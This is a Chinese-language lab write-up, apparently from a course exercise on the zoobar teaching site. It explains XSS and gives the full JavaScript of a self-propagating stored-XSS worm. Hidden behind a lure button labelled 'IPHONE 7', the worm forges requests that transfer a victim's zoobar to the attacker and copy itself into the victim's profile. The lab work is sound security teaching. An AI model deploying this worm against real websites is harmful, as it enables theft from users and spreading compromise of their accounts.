XSS worm

一、XSS攻击原理

  • XSS又称CSS,全称Cross Site Script,跨站脚本攻击,是Web程序中常见的漏洞。

  • 原理是攻击者向有 XSS漏洞的网站中输入(传入)恶意的代码,当其它用户浏览该网站时,这段代码会自动执行,从而达到攻击的目的。如:盗取用户 Cookie、破坏页面结构、重定向到其它网站等。

二、环境配置

  1. linux环境下, 安装apache2、mysql,、php5。

  2. 将myzoo文件部署到apache2服务器上,注意在mysql中创建的数据库和表,要和zoobar网站源码中对应。

三、利用ajax实现XSS worm

1、攻击原理

  • 在zoobar网站上注册了用户A、B。其中A作为攻击者。A、B资料页面都有profile栏可供输入。理论上,所有可输入的地方如果没有对输入数据进行处理,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力。

  • 当B看A的简介时,B的一个zoobar被转移给A。此时是在B的登陆页面,B看A的简介时执行了一段脚本,该脚本发送给服务器,是以自己的cookie发送的,因此该脚本的作用是伪造一个请求,以B的名义,向服务器发送转移zoobar的表单。

  • 当用户B看A的简介时,自己的简介会被改动,说明A伪造了一个请求,提交给服务器,修改了B的简介。我们要看当B保存自己的简介,点击save按钮时,向服务器传送的请求时什么,然后根据该请求伪造。

2、攻击实现

在A的profile中输入如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<script id=sc1>
function Steel() //转移受害者的一个zoobar给攻击者
{
var steelURL="https://localhost/transfer.php"; //提交给服务器端的哪一个文件,这里的地址是需要我们伪造的
var postStr1="zoobars=1&recipient=a&submission=Send"; //需要我们伪造,写的是默认转移一个zoobar给用户a
var ajax1=null;
if(window.XMLHttpRequest)
{
ajax1=new XMLHttpRequest();
}
else
return;
ajax1.open("POST",steelURL,true);
ajax1.setRequestHeader("Content-type","application/x-www-form-urlencoded");
ajax1.send(postStr1);
}
function Update() //更新受害者的profile和攻击者一样
{
var updateURL="https://localhost/index.php";
var ajax2=null;
if(window.XMLHttpRequest)
{
ajax2=new XMLHttpRequest();
}
else
return;
ajax2.open("POST",updateURL,true);
var script=document.getElementById("sc1").innerHTML;
var script_clean = encodeURIComponent(script);
var postStr2="profile_update=";
postStr2=postStr2.concat("<scr");
postStr2=postStr2.concat("ipt ");
postStr2=postStr2.concat("id=sc1>");
postStr2=postStr2.concat(script_clean);
postStr2=postStr2.concat("</scr");
postStr2=postStr2.concat("ipt>");
postStr2=postStr2.concat("<button type=button onclick={Steel();Update()}>IPHONE 7<button>");
postStr2=postStr2.concat("&profile_submit=Save");
ajax2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
ajax2.send(postStr2);
ajax2.onreadystatechange=function()
{
if(ajax2.readyState==4&&ajax2.status==200)
{
alert("Uha!Your zoobar is mine!");
}
}
}
/*
* 为使代码可运行,在zoobar网站的users.php文件中allowed_tags里加上<script>标签、<button>标签,
* disallow里注释掉javascript和button,
*/
/*
* 创建了一个button,当点击该button时,执行的是一个function,该function伪造了一个表单请求提交给服务器
*/
</script><button type=button onclick={Steel();Update()}>IPHONE 7</button>

在攻击者A的profile中写入攻击代码,A现在的zoobar有21个

登录受害者C,C此时有10个zoobar,profile为空

在C中users页面查看A,看到A的zoobar是21个,有一个诱导按钮”IPHONE 7”

点击IPONE 7的按钮,弹出窗口

此时再查看A,看到A的zoobar变成22个

再看C的资料页面,C的zoobar变为9个,profile被感染成和A一样.Bingo!